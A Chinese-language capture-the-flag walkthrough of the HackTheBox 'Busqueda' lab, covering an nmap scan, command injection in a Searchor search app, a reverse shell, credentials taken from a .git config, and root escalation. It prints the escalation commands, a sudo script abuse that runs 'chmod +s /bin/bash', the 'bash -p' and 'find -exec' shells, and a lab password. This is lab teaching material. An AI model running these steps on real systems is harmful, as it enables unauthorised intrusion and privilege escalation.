HTB_Busqueda

HTB Busqueda

起步准备

官网注册:https://app.hackthebox.com

注册完之后准备使用kali连接vpn了:

​​image​​

​​image​​

​​image​​

​​image​​

下载好后,会有一个ovpn文件:

​​image​​

把这个文件放到Kali里面(这里最好放到是选择普通用户的目录,这样子可以直接复制粘贴,要是直接放在桌面也可以,个人觉得还是创建一个专属于靶机的目录比较好),使用命令:

openvpn lab.ovpn

连接一下

​​image​​

开启题目

​​image​​

​​image​​

​​image​​

​​image​​

启动之后会有一个内网地址:

​​image​​

Busqueda

开始做题

启动靶机,有一个IP:10.10.11.208,直接访问好像并行不通:

​​image​​

Nmap使用命令nmap -A​扫描后得到如下结果:

Nmap scan report for 10.10.11.208 (10.10.11.208)
Host is up (0.41s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp   open     http     Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
1149/tcp filtered bvtsonar
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.39 seconds

发现他的Hosts​是sercher.htb

在root权限下使用:

echo "10.10.11.208 sercher.htb">>/etc/hosts

//切记切记,这里用的是追加写入,不要覆盖写了

把这个DNS情况输入到本机情况,这样子就可以访问了:

​​image​​

访问之后发现下面有一个Powered by Flask and Searchor 2.4.0

​​image​​

发现输入什么返回什么,有两个想法:

  1. SSTI模板注入
  2. 系统命令执行

第一想法肯定是SSTI注入,怎么有人傻傻地后台使用危险函数来回显用户输入

测试SSTI:

​​image​​

什么居然不是SSTI

不会真的是系统命令吧

尝试系统命令:

​​image​​

我天,真的是,你不如杀了我

那就反弹shell了,原本是尝试反弹到公网IP的,但是失败了,不知道是不出网还是什么原因,那就弹到Kali吧:

先看一下kali的IP地址

​​image​​

​​image​​

吃到shell后就可以执行命令了:

​​image​​

然后我的思路就完全卡壳了,我flag呢

于是接下来都是WP的思路了:

原来还有一个.git文件(其实刚才看到有用到github的项目就应该想到有.git了),以后执行查看文件都用ll了,用ls会漏掉隐藏文件

对.git文件的信息收集有点不知道,恶补一下:https://blog.csdn.net/start_mao/article/details/94609238

​​image​​

然后cat config​查看仓库的配置信息

​​image​​

这里可以看出来

用户名:cody

密码:jh1usoih2bkjaspwe92

​​image​​

但是使用whoami的时候又有一个用户名,使用ssh登陆的时候可以发现用户名其实是svc

​​image​​

ssh连接果然可以连接上以后

执行命令sudo -l

​​image​​

按他的提示我们运行一下这个py脚本:

​​image​​

提示需要一个full-checkup的东西,wp说是sh脚本,不知道为什么。。。

回显su: must be run from a terminal 需要一个终端

利用以下代码解决:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

那就创建这个脚本:

vim full-checkup.sh

内容:

#!/bin/bash

chmod +s /bin/bash

接着赋予这个脚本+x权限

chmod +x full-checkup.sh

下一步就是提权了

sudo /usr/bin/python3 /opt/scripts/system-checkup.py  full-checkup

​​image​​

出现Done!则表示提权成功

输入命令 /bin/bash​ 进入bash模式的命令行

​​image​​

接下来使用find提权:

find . -exec /bin/bash -p ;

如果find命令有suid则可以利用find命令提权,这里注意应该加上-p参数,网上大多数版本并没有-p选项,导致不能真正的以root权限开启一个新的shell

利用普通用户执行find命令,要查找一个存在的文件,这里的点是查找当前目录

-p参数的解释:

**当真实用户id和有效用户id不匹配时打开。禁用处理$ENV文件和导入shell功能。关闭此选项将导致有效的uid和Gid设置为真实uid和Gid。 **

bash -p参数
-p  Turned on whenever the real and effective user ids do not match.
    Disables processing of the $ENV file and importing of shell
    functions.  Turning this option off causes the effective uid and
    gid to be set to the real uid and gid.

​​​image​​​

这样子就成功变成root权限了,最后进入到/root,可以拿到root.txt这个flag

​​image​​

还有一个flag在/home/svc 下,两个都交完应该算是完成了